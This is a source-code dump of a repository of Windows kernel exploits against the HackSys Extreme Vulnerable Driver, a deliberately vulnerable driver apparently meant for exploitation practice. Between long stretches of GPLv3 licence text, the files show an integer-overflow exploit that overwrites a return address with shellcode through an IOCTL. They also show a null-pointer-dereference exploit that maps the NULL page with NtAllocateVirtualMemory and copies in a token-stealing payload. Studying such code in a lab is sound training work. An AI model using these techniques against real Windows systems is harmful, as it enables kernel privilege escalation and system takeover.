9 | 10 | shared_ptr buffer = shared_ptr(new UCHAR[Actual_Buffer_Size]); 11 | 12 | if(!buffer) { 13 | wcerr << L"[!] Could not allocate buffer of size: 0x" 14 | << hex << setw(8) << setfill(L'0') << Actual_Buffer_Size << endl; 15 | return false; 16 | } 17 | 18 | memset(buffer.get(), 'A', Actual_Buffer_Size); 19 | 20 | static const size_t Return_Address_Overwrite_Index = 0x828; 21 | auto shellcodePtr = adjustPayloadEpilogue(8, true); 22 | 23 | *(reinterpret_cast(&buffer.get()[Return_Address_Overwrite_Index])) = *shellcodePtr; 24 | *(reinterpret_cast(&buffer.get()[Return_Address_Overwrite_Index + 4])) = \ 25 | Buffer_End_Magic_Marker; 26 | 27 | bool ret = driver.SendIOCTL ( 28 | ExploitIntegerOverflow::Ioctl_Code, 29 | buffer.get(), 30 | Declared_Input_Buffer_Size 31 | ); 32 | 33 | return ret; 34 | } 35 | -------------------------------------------------------------------------------- /IntegerOverflow.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | class ExploitIntegerOverflow : public IExploit { 8 | static constexpr wchar_t *Exploit_Name = L"Integer Overflow"; 9 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW; 10 | 11 | public: 12 | ExploitIntegerOverflow(Driver& driver) : IExploit(driver) {} 13 | virtual ~ExploitIntegerOverflow() { } 14 | 15 | virtual const wchar_t* getName() const { 16 | return ExploitIntegerOverflow::Exploit_Name; 17 | }; 18 | 19 | virtual DWORD getIoctlCode() const { 20 | return ExploitIntegerOverflow::Ioctl_Code; 21 | } 22 | 23 | virtual bool exploit(); 24 | }; 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /NullPointerDereference.cpp: -------------------------------------------------------------------------------- 1 | #include "NullPointerDereference.h" 2 | 3 | bool 4 | ExploitNullPointerDereference::exploit() { 5 | 6 | struct NullPtrObject { 7 | DWORD someValue; 8 | PVOID callback; 9 | }; 10 | 11 | NullPtrObject obj { 12 | // Must be the magic value 13 | 0xDEADBEEF, //Uninitialized_Magic_Value, 14 | 15 | // Doesn't matter, Null page will be dereferenced after all 16 | reinterpret_cast(0xDEADBEEF) 17 | }; 18 | 19 | // NULL memory page address is obviously 0 address. 20 | const PULONG nullMemoryPage = reinterpret_cast(0x00000000); 21 | 22 | // We cannot pass the NULL value (0x0) to the NtAllocateVirtualMemory, but passing 23 | // 0x1 will suffice as it gets rounded down to 0 anyway. 24 | const PVOID baseAddress = reinterpret_cast(0x00000001); 25 | 26 | // Address of the payload within user-mode memory. 27 | const PVOID payloadAddress = reinterpret_cast(0x00000008); 28 | 29 | // Any value in range <1, 0x1000> will be rounded-up to the 0x1000. 30 | const ULONG regionSize = 0x1000; 31 | 32 | 33 | /** 34 | * Since both VirtualAlloc and VirtualAllocEx returns ERROR_INVALID_PARAMETER if the base address of the 35 | * allocation is less than 0x00001000, we will have to use another approach to allocate this memory 36 | * page. The approach is to use the undocumented `NtAllocateVirtualMemory` function, which do not 37 | * holds the same restriction, as the aforementioned two functions. 38 | **/ 39 | 40 | wcout << L"[.] Mapping NULL memory page..." << endl; 41 | 42 | typeNtAllocateVirtualMemory NtAllocateVirtualMemory; 43 | NtAllocateVirtualMemory = reinterpret_cast(GetProcAddress( 44 | GetModuleHandleW(L"ntdll.dll"), 45 | "NtAllocateVirtualMemory" 46 | )); 47 | 48 | // NULL page mapping allocation has been prohibited in Windows 8.0, but until that it is 49 | // possible to allocate that specific memory page. 50 | NTSTATUS stat = NtAllocateVirtualMemory ( 51 | reinterpret_cast(0xffffffff), 52 | &baseAddress, 53 | 0, 54 | const_cast(®ionSize), 55 | MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 56 | PAGE_EXECUTE_READWRITE 57 | ); 58 | 59 | if(!NT_SUCCESS(stat)) { 60 | wcerr << L"[!] NULL memory page mapping failed! Error: 0x" << hex 61 | << setw(8) << setfill(L'0') << stat << endl; 62 | return false; 63 | } 64 | 65 | try { 66 | NullPtrObject* objPtr = reinterpret_cast(nullMemoryPage); 67 | 68 | // NULL memory page reference in order to set it up for the exploit. 69 | // PS: We are *writing* to the address 0x00000004 in System's memory. 70 | objPtr->callback = reinterpret_cast(payloadAddress); 71 | 72 | auto shellcodePtr = adjustPayloadEpilogue(0); 73 | memcpy( 74 | payloadAddress, 75 | *shellcodePtr, 76 | tokenStealingPayloadSize 77 | ); 78 | 79 | } catch(...) { 